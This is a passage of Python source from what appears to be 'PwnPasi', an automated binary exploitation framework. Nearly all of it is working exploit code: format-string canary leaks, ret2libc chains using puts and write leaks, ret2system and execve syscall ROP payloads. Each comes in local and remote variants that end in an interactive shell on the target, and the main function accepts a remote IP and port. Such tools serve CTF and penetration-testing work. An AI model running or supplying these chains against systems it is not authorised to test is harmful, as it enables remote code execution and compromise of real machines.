print('\033[31m[*]PWN!!!\033[0m') 2698 | else: 2699 | libc_puts = libc.symbols['puts'] 2700 | libc_system = libc.symbols['system'] 2701 | libc_sh = next(libc.search(b'/bin/sh')) 2702 | system_addr = puts_addr - libc_puts + libc_system 2703 | print(f'[*]system function address in libc: \033[31m{hex(system_addr)}\033[0m') 2704 | sh_addr = puts_addr - libc_puts + libc_sh 2705 | print(f'[*]/bin/sh string address in libc: \033[31m{hex(sh_addr)}\033[0m') 2706 | print('\033[31m[*]PWN!!!\033[0m') 2707 | 2708 | io.recv() 2709 | io.sendline(f'%{c}$p'.encode()) 2710 | io.recv() 2711 | ret_addr = int(ret_addr, 16) 2712 | ret_addr = p64(ret_addr) 2713 | if other_rdi_registers == 1: 2714 | payload2 = flat([asm('nop') * padding , canary , b'AAAAAAAA' * diff , pop_rdi_addr , p64(sh_addr), p64(0),ret_addr, p64(system_addr) , p64(0)]) 2715 | else: 2716 | payload2 = flat([asm('nop') * padding , canary , b'AAAAAAAA' * diff , pop_rdi_addr , p64(sh_addr) ,ret_addr,p64(system_addr)]) 2717 | io.sendline(payload2) 2718 | io.interactive() 2719 | 2720 | def ret2libc_put_x64_canary_remote(program,libc,padding,pop_rdi_addr, pop_rsi_addr, ret_addr ,other_rdi_registers ,other_rsi_registers,url,port,c,diff): 2721 | io = remote(url,port) 2722 | if libc == 1: 2723 | if libc_path == None: 2724 | print('[*]Using LibcSearcher') 2725 | else: 2726 | print('[*]User did not specify libc path') 2727 | libc = ELF(libc_path) 2728 | else: 2729 | libc = ELF(libc) 2730 | e = ELF(program) 2731 | main_addr = e.symbols['main'] 2732 | puts_plt = e.symbols['puts'] 2733 | puts_got = e.got['puts'] 2734 | 2735 | pop_rdi_addr = int(pop_rdi_addr, 16) 2736 | pop_rdi_addr = p64(pop_rdi_addr) 2737 | io.recv() 2738 | io.sendline(f'%{c}$p'.encode()) 2739 | result = io.recvline().decode().strip() 2740 | print(f"Canary value is: {result}") 2741 | result = int(result, 16) 2742 | canary = p64(result) 2743 | 2744 | payload1 = flat([asm('nop') * padding , canary , b'AAAAAAAA' * diff , pop_rdi_addr , p64(puts_got), p64(puts_plt) , p64(main_addr)]) 2745 | io.recv() 2746 | io.sendline(payload1) 2747 | 2748 | puts_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) 2749 | print(f'[*]puts function address in libc: \033[31m{hex(puts_addr)}\033[0m') 2750 | 2751 | if libc == 1: 2752 | libc = LibcSearcher("puts",puts_addr) 2753 | libcbase = puts_addr - libc.dump('puts') 2754 | libc_system = libc.dump('system') 2755 | libc_sh = libc.dump('str_bin_sh') 2756 | system_addr = libcbase + libc_system 2757 | print(f'[*]system function address in libc: \033[31m{hex(system_addr)}\033[0m') 2758 | sh_addr = libcbase + libc_sh 2759 | print(f'[*]/bin/sh string address in libc: \033[31m{hex(sh_addr)}\033[0m') 2760 | print('\033[31m[*]PWN!!!\033[0m') 2761 | else: 2762 | libc_puts = libc.symbols['puts'] 2763 | libc_system = libc.symbols['system'] 2764 | libc_sh = next(libc.search(b'/bin/sh')) 2765 | system_addr = puts_addr - libc_puts + libc_system 2766 | print(f'[*]system function address in libc: \033[31m{hex(system_addr)}\033[0m') 2767 | sh_addr = puts_addr - libc_puts + libc_sh 2768 | print(f'[*]/bin/sh string address in libc: \033[31m{hex(sh_addr)}\033[0m') 2769 | print('\033[31m[*]PWN!!!\033[0m') 2770 | 2771 | io.recv() 2772 | io.sendline(f'%{c}$p'.encode()) 2773 | io.recv() 2774 | ret_addr = int(ret_addr, 16) 2775 | ret_addr = p64(ret_addr) 2776 | if other_rdi_registers == 1: 2777 | payload2 = flat([asm('nop') * padding , canary , b'AAAAAAAA' * diff , pop_rdi_addr , p64(sh_addr), p64(0),ret_addr, p64(system_addr) , p64(0)]) 2778 | else: 2779 | payload2 = flat([asm('nop') * padding , canary , b'AAAAAAAA' * diff , pop_rdi_addr , p64(sh_addr) ,ret_addr,p64(system_addr)]) 2780 | io.sendline(payload2) 2781 | io.interactive() 2782 | 2783 | def ret2libc_write_canary_x32(program,libc,padding,libc_path,c,diff): 2784 | io = process(program) 2785 | if libc == 1: 2786 | if libc_path == None: 2787 | print('[*]Using LibcSearcher') 2788 | else: 2789 | print('[*]User did not specify libc path') 2790 | libc = ELF(libc_path) 2791 | else: 2792 | libc = ELF(libc) 2793 | e = ELF(program) 2794 | main_addr = e.symbols['main'] 2795 | write_plt = e.symbols['write'] 2796 | write_got = e.got['write'] 2797 | 2798 | io.recv() 2799 | io.sendline(f'%{c}$p'.encode()) 2800 | result = io.recvline().decode().strip() 2801 | print(f"Canary value is: {result}") 2802 | result = int(result, 16) 2803 | canary = p32(result) 2804 | 2805 | payload1 = flat([asm('nop') * padding , canary , b'AAAA' * diff , p32(write_plt) , p32(main_addr) , p32(1) , p32(write_got) , p32(4)]) 2806 | io.recv() 2807 | io.sendline(payload1) 2808 | 2809 | write_addr = u32(io.recv(4)) 2810 | print(f'[*]write function address in libc: \033[31m{hex(write_addr)}\033[0m') 2811 | 2812 | if libc == 1: 2813 | libc = LibcSearcher("write",write_addr) 2814 | libcbase = write_addr - libc.dump('write') 2815 | libc_system = libc.dump('system') 2816 | libc_sh = libc.dump('str_bin_sh') 2817 | system_addr = libcbase + libc_system 2818 | print(f'[*]system function address in libc: \033[31m{hex(system_addr)}\033[0m') 2819 | sh_addr = libcbase + libc_sh 2820 | print(f'[*]/bin/sh string address in libc: \033[31m{hex(sh_addr)}\033[0m') 2821 | print('\033[31m[*]PWN!!!\033[0m') 2822 | else: 2823 | libc_write = libc.symbols['write'] 2824 | libc_system = libc.symbols['system'] 2825 | libc_sh = next(libc.search(b'/bin/sh')) 2826 | system_addr = write_addr - libc_write + libc_system 2827 | print(f'[*]system function address in libc: \033[31m{hex(system_addr)}\033[0m') 2828 | sh_addr = write_addr - libc_write + libc_sh 2829 | print(f'[*]/bin/sh string address in libc: \033[31m{hex(sh_addr)}\033[0m') 2830 | print('\033[31m[*]PWN!!!\033[0m') 2831 | 2832 | io.recv() 2833 | io.sendline(f'%{c}$p'.encode()) 2834 | io.recv() 2835 | payload2 = flat([asm('nop') * padding , canary , b'AAAA' * diff, p32(system_addr) , p32(0) , p32(sh_addr)]) 2836 | io.recv() 2837 | io.sendline(payload2) 2838 | io.interactive() 2839 | 2840 | def ret2libc_write_canary_x64(program,libc,padding,pop_rdi_addr, pop_rsi_addr, ret_addr ,other_rdi_registers ,other_rsi_registers,libc_path,c,diff): 2841 | io = process(program) 2842 | if libc == 1: 2843 | if libc_path == None: 2844 | print('[*]Using LibcSearcher') 2845 | else: 2846 | print('[*]User did not specify libc path') 2847 | libc = ELF(libc_path) 2848 | else: 2849 | libc = ELF(libc) 2850 | e = ELF(program) 2851 | main_addr = e.symbols['main'] 2852 | write_plt = e.symbols['write'] 2853 | write_got = e.got['write'] 2854 | if other_rsi_registers == 1: 2855 | pop_rdi_addr = int(pop_rdi_addr, 16) 2856 | pop_rdi_addr = p64(pop_rdi_addr) 2857 | pop_rsi_addr = int(pop_rsi_addr, 16) 2858 | pop_rsi_addr = p64(pop_rsi_addr) 2859 | 2860 | io.recv() 2861 | io.sendline(f'%{c}$p'.encode()) 2862 | result = io.recvline().decode().strip() 2863 | print(f"Canary value is: {result}") 2864 | result = int(result, 16) 2865 | canary = p64(result) 2866 | 2867 | payload1 = flat([asm('nop') * padding , canary , b'AAAAAAAA' * diff ,pop_rdi_addr , p64(1) , pop_rsi_addr , p64(write_got) , p64(0) , p64(write_plt) , p64(main_addr)]) 2868 | io.recv() 2869 | io.sendline(payload1) 2870 | 2871 | elif other_rdi_registers == 1: 2872 | pop_rdi_addr = int(pop_rdi_addr, 16) 2873 | pop_rdi_addr = p64(pop_rdi_addr) 2874 | pop_rsi_addr = int(pop_rsi_addr, 16) 2875 | pop_rsi_addr = p64(pop_rsi_addr) 2876 | 2877 | io.recv() 2878 | io.sendline(f'%{c}$p'.encode()) 2879 | result = io.recvline().decode().strip() 2880 | print(f"Canary value is: {result}") 2881 | result = int(result, 16) 2882 | canary = p64(result) 2883 | 2884 | payload1 = flat([asm('nop') * padding , canary , b"AAAAAAAA" * diff , pop_rdi_addr , p64(1) , p64(0), pop_rsi_addr , p64(write_got) , p64(write_plt) , p64(main_addr)]) 2885 | io.recv() 2886 | io.sendline(payload1) 2887 | 2888 | elif other_rdi_registers == 0 and other_rsi_registers == 0: 2889 | pop_rdi_addr = int(pop_rdi_addr, 16) 2890 | pop_rdi_addr = p64(pop_rdi_addr) 2891 | pop_rsi_addr = int(pop_rsi_addr, 16) 2892 | pop_rsi_addr = p64(pop_rsi_addr) 2893 | 2894 | io.recv() 2895 | io.sendline(f'%{c}$p'.encode()) 2896 | result = io.recvline().decode().strip() 2897 | print(f"Canary value is: {result}") 2898 | result = int(result, 16) 2899 | canary = p64(result) 2900 | 2901 | payload1 = flat([asm('nop') * padding , pop_rdi_addr , p64(1) , pop_rsi_addr , p64(write_got) , p64(write_plt) , p64(main_addr)]) 2902 | io.recv() 2903 | io.sendline(payload1) 2904 | 2905 | write_addr = u64(io.recv(8)) 2906 | print(f'[*]write function address in libc: \033[31m{hex(write_addr)}\033[0m') 2907 | 2908 | if libc == 1: 2909 | libc = LibcSearcher("write",write_addr) 2910 | libcbase = write_addr - libc.dump('write') 2911 | libc_system = libc.dump('system') 2912 | libc_sh = libc.dump('str_bin_sh') 2913 | system_addr = libcbase + libc_system 2914 | print(f'[*]system function address in libc: \033[31m{hex(system_addr)}\033[0m') 2915 | sh_addr = libcbase + libc_sh 2916 | print(f'[*]/bin/sh string address in libc: \033[31m{hex(sh_addr)}\033[0m') 2917 | print('\033[31m[*]PWN!!!\033[0m') 2918 | else: 2919 | libc_write = libc.symbols['write'] 2920 | libc_system = libc.symbols['system'] 2921 | libc_sh = next(libc.search(b'/bin/sh')) 2922 | system_addr = write_addr - libc_write + libc_system 2923 | print(f'[*]system function address in libc: \033[31m{hex(system_addr)}\033[0m') 2924 | sh_addr = write_addr - libc_write + libc_sh 2925 | print(f'[*]/bin/sh string address in libc: \033[31m{hex(sh_addr)}\033[0m') 2926 | print('\033[31m[*]PWN!!!\033[0m') 2927 | 2928 | io.recv() 2929 | io.sendline(f'%{c}$p'.encode()) 2930 | 2931 | io.recv() 2932 | 2933 | if other_rdi_registers == 1: 2934 | payload2 = flat([asm('nop') * padding ,canary , b"AAAAAAAA" * diff , pop_rdi_addr , p64(sh_addr), p64(0), p64(system_addr) , p64(0)]) 2935 | else: 2936 | payload2 = flat([asm('nop') * padding , canary , b"AAAAAAAA" * diff, pop_rdi_addr , p64(sh_addr) ,p64(system_addr) , p64(0)]) 2937 | io.recv() 2938 | io.sendline(payload2) 2939 | io.interactive() 2940 | 2941 | def ret2_system_canary_x32(program, libc, padding, libc_path, c, diff): 2942 | io = process(program) 2943 | e = ELF(program) 2944 | system_addr = e.symbols['system'] 2945 | print(f'[*]system function address in program: \033[31m{hex(system_addr)}\033[0m') 2946 | bin_sh_addr = next(e.search(b'/bin/sh')) 2947 | print(f'[*]/bin/sh string address in program: \033[31m{hex(bin_sh_addr)}\033[0m') 2948 | print('\033[31m[*]PWN!!!\033[0m') 2949 | io.recv() 2950 | io.sendline(f'%{c}$p'.encode()) 2951 | result = io.recvline().decode().strip() 2952 | print(f"Canary value is: {result}") 2953 | result = int(result, 16) 2954 | canary = p32(result) 2955 | 2956 | payload = flat([asm('nop') * padding, canary, b"AAAA" * diff, p32(system_addr), p32(0), p32(bin_sh_addr)]) 2957 | io.sendline(payload) 2958 | io.interactive() 2959 | 2960 | def ret2_system_canary_x64(program, libc, padding, pop_rdi_addr, other_rdi_registers, ret_addr, libc_path, c, diff): 2961 | if pop_rdi_addr == None: 2962 | print("pop rdi instruction does not exist, cannot exploit") 2963 | sys.exit(0) 2964 | io = process(program) 2965 | e = ELF(program) 2966 | system_addr = e.symbols['system'] 2967 | print(f'[*]system function address in program: \033[31m{hex(system_addr)}\033[0m') 2968 | bin_sh_addr = next(e.search(b'/bin/sh')) 2969 | print(f'[*]/bin/sh string address in program: \033[31m{hex(bin_sh_addr)}\033[0m') 2970 | print('\033[31m[*]PWN!!!\033[0m') 2971 | io.recv() 2972 | io.sendline(f'%{c}$p'.encode()) 2973 | result = io.recvline().decode().strip() 2974 | print(f"canary value is: {result}") 2975 | result = int(result, 16) 2976 | canary = p64(result) 2977 | 2978 | pop_rdi_addr = int(pop_rdi_addr, 16) 2979 | pop_rdi_addr = p64(pop_rdi_addr) 2980 | ret_addr = int(ret_addr, 16) 2981 | ret_addr = p64(ret_addr) 2982 | 2983 | if other_rdi_registers == 1: 2984 | payload = flat([asm('nop') * padding ,canary , b"AAAAAAAA" * diff, pop_rdi_addr , p64(bin_sh_addr), p64(0),ret_addr, p64(system_addr) , p64(0)]) 2985 | elif other_rdi_registers == 0: 2986 | payload = flat([asm('nop') * padding , canary , b"AAAAAAAA" * diff, pop_rdi_addr , p64(bin_sh_addr), ret_addr,p64(system_addr)]) 2987 | io.sendline(payload) 2988 | io.interactive() 2989 | 2990 | def execve_canary_syscall(program, padding, pop_eax_addr, pop_ebx_addr, pop_ecx_addr, pop_edx_addr, pop_ecx_ebx_addr, ret_addr, int_0x80, c, diff): 2991 | if pop_ecx_addr == None: 2992 | io = process(program) 2993 | e = ELF(program) 2994 | bin_sh_addr = next(e.search(b'/bin/sh')) 2995 | print(f'[*]/bin/sh string address in program: \033[31m{hex(bin_sh_addr)}\033[0m') 2996 | pop_eax_addr = int(pop_eax_addr, 16) 2997 | pop_eax_addr = p32(pop_eax_addr) 2998 | pop_ecx_ebx_addr = int(pop_ecx_ebx_addr, 16) 2999 | pop_ecx_ebx_addr = p32(pop_ecx_ebx_addr) 3000 | pop_edx_addr = int(pop_edx_addr, 16) 3001 | pop_edx_addr = p32(pop_edx_addr) 3002 | int_0x80 = int(int_0x80, 16) 3003 | int_0x80 = p32(int_0x80) 3004 | 3005 | io.recv() 3006 | io.sendline(f'%{c}$p'.encode()) 3007 | result = io.recvline().decode().strip() 3008 | print(f"canary value is: {result}") 3009 | result = int(result, 16) 3010 | canary = p32(result) 3011 | 3012 | payload = flat([asm('nop') * padding, canary, b"AAAA" * diff, pop_eax_addr, 0xb, pop_ecx_ebx_addr, 0, bin_sh_addr, pop_edx_addr, 0, int_0x80]) 3013 | io.recv() 3014 | io.sendline(payload) 3015 | print('\033[31m[*]PWN!!!\033[0m') 3016 | io.interactive() 3017 | else: 3018 | io = process(program) 3019 | e = ELF(program) 3020 | bin_sh_addr = next(e.search(b'/bin/sh')) 3021 | print(f'[*]/bin/sh string address in program: \033[31m{hex(bin_sh_addr)}\033[0m') 3022 | pop_eax_addr = int(pop_eax_addr, 16) 3023 | pop_eax_addr = p32(pop_eax_addr) 3024 | pop_ecx_addr = int(pop_ecx_addr, 16) 3025 | pop_ecx_addr = p32(pop_ecx_addr) 3026 | pop_ebx_addr = int(pop_ebx_addr, 16) 3027 | pop_ebx_addr = p32(pop_ebx_addr) 3028 | pop_edx_addr = int(pop_edx_addr, 16) 3029 | pop_edx_addr = p32(pop_edx_addr) 3030 | int_0x80 = int(int_0x80, 16) 3031 | int_0x80 = p32(int_0x80) 3032 | 3033 | io.recv() 3034 | io.sendline(f'%{c}$p'.encode()) 3035 | result = io.recvline().decode().strip() 3036 | print(f"canary value is: {result}") 3037 | result = int(result, 16) 3038 | canary = p32(result) 3039 | 3040 | payload = flat([asm('nop') * padding, canary, b"AAAA" * diff, pop_eax_addr, 0xb, pop_ebx_addr, bin_sh_addr, pop_ecx_addr, 0, pop_edx_addr, 0, int_0x80]) 3041 | io.recv() 3042 | io.sendline(payload) 3043 | print('\033[31m[*]PWN!!!\033[0m') 3044 | io.interactive() 3045 | 3046 | def ret2libc_write_x32_canary_remote(program,libc,padding,url,port,c,diff): 3047 | io = remote(url,port) 3048 | if libc == 1: 3049 | if libc_path == None: 3050 | print('[*]Using LibcSearcher') 3051 | else: 3052 | print('[*]User did not specify libc path') 3053 | libc = ELF(libc_path) 3054 | else: 3055 | libc = ELF(libc) 3056 | e = ELF(program) 3057 | main_addr = e.symbols['main'] 3058 | write_plt = e.symbols['write'] 3059 | write_got = e.got['write'] 3060 | 3061 | io.recv() 3062 | io.sendline(f'%{c}$p'.encode()) 3063 | result = io.recvline().decode().strip() 3064 | print(f"Canary value is: {result}") 3065 | result = int(result, 16) 3066 | canary = p32(result) 3067 | 3068 | payload1 = flat([asm('nop') * padding , canary , b'AAAA' * diff , p32(write_plt) , p32(main_addr) , p32(1) , p32(write_got) , p32(4)]) 3069 | io.recv() 3070 | io.sendline(payload1) 3071 | 3072 | write_addr = u32(io.recv(4)) 3073 | print(f'[*]write function address in libc: \033[31m{hex(write_addr)}\033[0m') 3074 | 3075 | if libc == 1: 3076 | libc = LibcSearcher("write",write_addr) 3077 | libcbase = write_addr - libc.dump('write') 3078 | libc_system = libc.dump('system') 3079 | libc_sh = libc.dump('str_bin_sh') 3080 | system_addr = libcbase + libc_system 3081 | print(f'[*]system function address in libc: \033[31m{hex(system_addr)}\033[0m') 3082 | sh_addr = libcbase + libc_sh 3083 | print(f'[*]/bin/sh string address in libc: \033[31m{hex(sh_addr)}\033[0m') 3084 | print('\033[31m[*]PWN!!!\033[0m') 3085 | else: 3086 | libc_write = libc.symbols['write'] 3087 | libc_system = libc.symbols['system'] 3088 | libc_sh = next(libc.search(b'/bin/sh')) 3089 | system_addr = write_addr - libc_write + libc_system 3090 | print(f'[*]system function address in libc: \033[31m{hex(system_addr)}\033[0m') 3091 | sh_addr = write_addr - libc_write + libc_sh 3092 | print(f'[*]/bin/sh string address in libc: \033[31m{hex(sh_addr)}\033[0m') 3093 | print('\033[31m[*]PWN!!!\033[0m') 3094 | 3095 | io.recv() 3096 | io.sendline(f'%{c}$p'.encode()) 3097 | 3098 | io.recv() 3099 | 3100 | payload2 = flat([asm('nop') * padding , canary , b'AAAA' * diff, p32(system_addr) , p32(0) , p32(sh_addr)]) 3101 | io.recv() 3102 | io.sendline(payload2) 3103 | io.interactive() 3104 | 3105 | def ret2libc_write_x64_canary_remote(program, libc, padding, pop_rdi_addr, pop_rsi_addr, ret_addr, other_rdi_registers, other_rsi_registers, url, port, c, diff): 3106 | io = remote(url, port) 3107 | if libc == 1: 3108 | if libc_path == None: 3109 | print('[*]Using LibcSearcher') 3110 | else: 3111 | print('[*]User did not specify libc path') 3112 | libc = ELF(libc_path) 3113 | else: 3114 | libc = ELF(libc) 3115 | e = ELF(program) 3116 | main_addr = e.symbols['main'] 3117 | write_plt = e.symbols['write'] 3118 | write_got = e.got['write'] 3119 | if other_rsi_registers == 1: 3120 | pop_rdi_addr = int(pop_rdi_addr, 16) 3121 | pop_rdi_addr = p64(pop_rdi_addr) 3122 | pop_rsi_addr = int(pop_rsi_addr, 16) 3123 | pop_rsi_addr = p64(pop_rsi_addr) 3124 | 3125 | io.recv() 3126 | io.sendline(f'%{c}$p'.encode()) 3127 | result = io.recvline().decode().strip() 3128 | print(f"Canary value is: {result}") 3129 | result = int(result, 16) 3130 | canary = p64(result) 3131 | 3132 | payload1 = flat([asm('nop') * padding, canary, b'AAAAAAAA' * diff, pop_rdi_addr, p64(1), pop_rsi_addr, p64(write_got), p64(0), p64(write_plt), p64(main_addr)]) 3133 | io.recv() 3134 | io.sendline(payload1) 3135 | 3136 | elif other_rdi_registers == 1: 3137 | pop_rdi_addr = int(pop_rdi_addr, 16) 3138 | pop_rdi_addr = p64(pop_rdi_addr) 3139 | pop_rsi_addr = int(pop_rsi_addr, 16) 3140 | pop_rsi_addr = p64(pop_rsi_addr) 3141 | 3142 | io.recv() 3143 | io.sendline(f'%{c}$p'.encode()) 3144 | result = io.recvline().decode().strip() 3145 | print(f"Canary value is: {result}") 3146 | result = int(result, 16) 3147 | canary = p64(result) 3148 | 3149 | payload1 = flat([asm('nop') * padding, canary, b"AAAAAAAA" * diff, pop_rdi_addr, p64(1), p64(0), pop_rsi_addr, p64(write_got), p64(write_plt), p64(main_addr)]) 3150 | io.recv() 3151 | io.sendline(payload1) 3152 | 3153 | elif other_rdi_registers == 0 and other_rsi_registers == 0: 3154 | pop_rdi_addr = int(pop_rdi_addr, 16) 3155 | pop_rdi_addr = p64(pop_rdi_addr) 3156 | pop_rsi_addr = int(pop_rsi_addr, 16) 3157 | pop_rsi_addr = p64(pop_rsi_addr) 3158 | 3159 | io.recv() 3160 | io.sendline(f'%{c}$p'.encode()) 3161 | result = io.recvline().decode().strip() 3162 | print(f"Canary value is: {result}") 3163 | result = int(result, 16) 3164 | canary = p64(result) 3165 | 3166 | payload1 = flat([asm('nop') * padding, canary, b"AAAAAAAA" * diff, pop_rdi_addr, p64(1), pop_rsi_addr, p64(write_got), p64(write_plt), p64(main_addr)]) 3167 | io.recv() 3168 | io.sendline(payload1) 3169 | 3170 | write_addr = u64(io.recv(8)) 3171 | print(f'[*]write function address in libc: \033[31m{hex(write_addr)}\033[0m') 3172 | 3173 | if libc == 1: 3174 | libc = LibcSearcher("write", write_addr) 3175 | libcbase = write_addr - libc.dump('write') 3176 | libc_system = libc.dump('system') 3177 | libc_sh = libc.dump('str_bin_sh') 3178 | system_addr = libcbase + libc_system 3179 | print(f'[*]system function address in libc: \033[31m{hex(system_addr)}\033[0m') 3180 | sh_addr = libcbase + libc_sh 3181 | print(f'[*]/bin/sh string address in libc: \033[31m{hex(sh_addr)}\033[0m') 3182 | print('\033[31m[*]PWN!!!\033[0m') 3183 | else: 3184 | libc_write = libc.symbols['write'] 3185 | libc_system = libc.symbols['system'] 3186 | libc_sh = next(libc.search(b'/bin/sh')) 3187 | system_addr = write_addr - libc_write + libc_system 3188 | print(f'[*]system function address in libc: \033[31m{hex(system_addr)}\033[0m') 3189 | sh_addr = write_addr - libc_write + libc_sh 3190 | print(f'[*]/bin/sh string address in libc: \033[31m{hex(sh_addr)}\033[0m') 3191 | print('\033[31m[*]PWN!!!\033[0m') 3192 | 3193 | io.recv() 3194 | io.sendline(f'%{c}$p'.encode()) 3195 | result = io.recvline().decode().strip() 3196 | result = int(result, 16) 3197 | canary = p64(result) 3198 | 3199 | ret_addr = int(ret_addr, 16) 3200 | ret_addr = p64(ret_addr) 3201 | 3202 | if other_rdi_registers == 1: 3203 | payload2 = flat([asm('nop') * padding, canary, b"AAAAAAAA" * diff, pop_rdi_addr, p64(sh_addr), p64(0), ret_addr, p64(system_addr), p64(0)]) 3204 | elif other_rdi_registers == 0: 3205 | payload2 = flat([asm('nop') * padding, canary, b"AAAAAAAA" * diff, pop_rdi_addr, p64(sh_addr), ret_addr, p64(system_addr)]) 3206 | 3207 | io.recv() 3208 | io.sendline(payload2) 3209 | io.interactive() 3210 | 3211 | def ret2_system_x32_canary_remote(program, libc, padding, url, port, c, diff): 3212 | io = remote(url, port) 3213 | e = ELF(program) 3214 | system_addr = e.symbols['system'] 3215 | print(f'[*]system function address in program: \033[31m{hex(system_addr)}\033[0m') 3216 | bin_sh_addr = next(e.search(b'/bin/sh')) 3217 | print(f'[*]/bin/sh string address in program: \033[31m{hex(bin_sh_addr)}\033[0m') 3218 | print('\033[31m[*]PWN!!!\033[0m') 3219 | io.recv() 3220 | io.sendline(f'%{c}$p'.encode()) 3221 | result = io.recvline().decode().strip() 3222 | print(f"canary value is: {result}") 3223 | result = int(result, 16) 3224 | canary = p32(result) 3225 | 3226 | payload = flat([asm('nop') * padding, canary, b"AAAA" * diff, p32(system_addr), p32(0), p32(bin_sh_addr)]) 3227 | io.sendline(payload) 3228 | io.interactive() 3229 | 3230 | def ret2_system_x64_canary_remote(program, libc, padding, pop_rdi_addr, other_rdi_registers, ret_addr, url, port, c, diff): 3231 | if pop_rdi_addr == None: 3232 | print("pop rdi instruction does not exist, cannot exploit") 3233 | sys.exit(0) 3234 | io = remote(url, port) 3235 | e = ELF(program) 3236 | system_addr = e.symbols['system'] 3237 | print(f'[*]system function address in program: \033[31m{hex(system_addr)}\033[0m') 3238 | bin_sh_addr = next(e.search(b'/bin/sh')) 3239 | print(f'[*]/bin/sh string address in program: \033[31m{hex(bin_sh_addr)}\033[0m') 3240 | print('\033[31m[*]PWN!!!\033[0m') 3241 | io.recv() 3242 | io.sendline(f'%{c}$p'.encode()) 3243 | result = io.recvline().decode().strip() 3244 | print(f"canary value is: {result}") 3245 | result = int(result, 16) 3246 | canary = p64(result) 3247 | 3248 | pop_rdi_addr = int(pop_rdi_addr, 16) 3249 | pop_rdi_addr = p64(pop_rdi_addr) 3250 | ret_addr = int(ret_addr, 16) 3251 | ret_addr = p64(ret_addr) 3252 | 3253 | if other_rdi_registers == 1: 3254 | payload = flat([asm('nop') * padding, canary, b"AAAAAAAA" * diff, pop_rdi_addr, p64(bin_sh_addr), p64(0), ret_addr, p64(system_addr), p64(0)]) 3255 | elif other_rdi_registers == 0: 3256 | payload = flat([asm('nop') * padding, canary, b"AAAAAAAA" * diff, pop_rdi_addr, p64(bin_sh_addr), ret_addr, p64(system_addr)]) 3257 | io.sendline(payload) 3258 | io.interactive() 3259 | 3260 | def execve_syscall_canary_remote(program, padding, pop_eax_addr, pop_ebx_addr, pop_ecx_addr, pop_edx_addr, pop_ecx_ebx_addr, ret_addr, int_0x80, url, port, c, diff): 3261 | if pop_ecx_addr == None: 3262 | io = remote(url, port) 3263 | e = ELF(program) 3264 | bin_sh_addr = next(e.search(b'/bin/sh')) 3265 | print(f'[*]/bin/sh string address in program: \033[31m{hex(bin_sh_addr)}\033[0m') 3266 | pop_eax_addr = int(pop_eax_addr, 16) 3267 | pop_eax_addr = p32(pop_eax_addr) 3268 | pop_ecx_ebx_addr = int(pop_ecx_ebx_addr, 16) 3269 | pop_ecx_ebx_addr = p32(pop_ecx_ebx_addr) 3270 | pop_edx_addr = int(pop_edx_addr, 16) 3271 | pop_edx_addr = p32(pop_edx_addr) 3272 | int_0x80 = int(int_0x80, 16) 3273 | int_0x80 = p32(int_0x80) 3274 | 3275 | io.recv() 3276 | io.sendline(f'%{c}$p'.encode()) 3277 | result = io.recvline().decode().strip() 3278 | print(f"canary value is: {result}") 3279 | result = int(result, 16) 3280 | canary = p32(result) 3281 | 3282 | payload = flat([asm('nop') * padding, canary, b"AAAA" * diff, pop_eax_addr, 0xb, pop_ecx_ebx_addr, 0, bin_sh_addr, pop_edx_addr, 0, int_0x80]) 3283 | io.recv() 3284 | io.sendline(payload) 3285 | print('\033[31m[*]PWN!!!\033[0m') 3286 | io.interactive() 3287 | else: 3288 | io = remote(url, port) 3289 | e = ELF(program) 3290 | bin_sh_addr = next(e.search(b'/bin/sh')) 3291 | print(f'[*]/bin/sh string address in program: \033[31m{hex(bin_sh_addr)}\033[0m') 3292 | pop_eax_addr = int(pop_eax_addr, 16) 3293 | pop_eax_addr = p32(pop_eax_addr) 3294 | pop_ecx_addr = int(pop_ecx_addr, 16) 3295 | pop_ecx_addr = p32(pop_ecx_addr) 3296 | pop_ebx_addr = int(pop_ebx_addr, 16) 3297 | pop_ebx_addr = p32(pop_ebx_addr) 3298 | pop_edx_addr = int(pop_edx_addr, 16) 3299 | pop_edx_addr = p32(pop_edx_addr) 3300 | int_0x80 = int(int_0x80, 16) 3301 | int_0x80 = p32(int_0x80) 3302 | 3303 | io.recv() 3304 | io.sendline(f'%{c}$p'.encode()) 3305 | result = io.recvline().decode().strip() 3306 | print(f"canary value is: {result}") 3307 | result = int(result, 16) 3308 | canary = p32(result) 3309 | 3310 | payload = flat([asm('nop') * padding, canary, b"AAAA" * diff, pop_eax_addr, 0xb, pop_ebx_addr, bin_sh_addr, pop_ecx_addr, 0, pop_edx_addr, 0, int_0x80]) 3311 | io.recv() 3312 | io.sendline(payload) 3313 | print('\033[31m[*]PWN!!!\033[0m') 3314 | io.interactive() 3315 | 3316 | def main(): 3317 | """Main function with improved argument parsing and flow""" 3318 | print_banner() 3319 | 3320 | parser = argparse.ArgumentParser( 3321 | description="PwnPasi - Automated Binary Exploitation Framework", 3322 | formatter_class=argparse.RawDescriptionHelpFormatter, 3323 | epilog=""" 3324 | Examples: 3325 | python pwnpasi.py -l ./target_binary 3326 | python pwnpasi.py -l ./target_binary -f 112 3327 | python pwnpasi.py -l ./target_binary -libc ./libc-2.19.so 3328 | python pwnpasi.py -l ./target_binary -ip 192.168.1.100 -p 9999 3329 | """ 3330 | ) 3331 | 3332 | parser.add_argument('-l', '--local', type=str, required=True, 3333 | help='Target binary file (required)') 3334 | parser.add_argument('-ip', '--ip', type=str, 3335 | help='Remote target IP address') 3336 | parser.add_argument('-p', '--port', type=int, 3337 | help='Remote target port') 3338 | parser.add_argument('-libc', '--libc', type=str, 3339 | help='Path to libc file') 3340 | parser.add_argument('-f', '--fill', type=int, 3341 | help='Manual overflow padding size') 3342 | parser.add_argument('-v', '--verbose', action='store_true', 3343 | help='Enable verbose output') 3344 | 3345 | args = parser.parse_args() 3346 | 3347 | # Validate arguments 3348 | if not os.path.exists(args.local): 3349 | print_error(f"target binary not found: {args.local}") 3350 | sys.exit(1) 3351 | 3352 | if (args.ip and not args.port) or (args.port and not args.ip): 3353 | print_error("both IP and port must be specified for remote exploitation") 3354 | sys.exit(1) 3355 | 3356 | # Initialize target information 3357 | program = add_current_directory_prefix(args.local) 3358 | libc_path = None 3359 | bin_sh = 0 # Initialize bin_sh variable 3360 | 3361 | # Initialize exploit_info with basic information 3362 | global exploit_info 3363 | exploit_info['target_binary'] = os.path.basename(args.local) 3364 | exploit_info['timestamp'] = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S") 3365 | 3366 | print_info(f"target binary: {Colors.YELLOW}{program}{Colors.END}") 3367 | 3368 | if args.ip and args.port: 3369 | print_info(f"remote target: {Colors.YELLOW}{args.ip}:{args.port}{Colors.END}") 3370 | 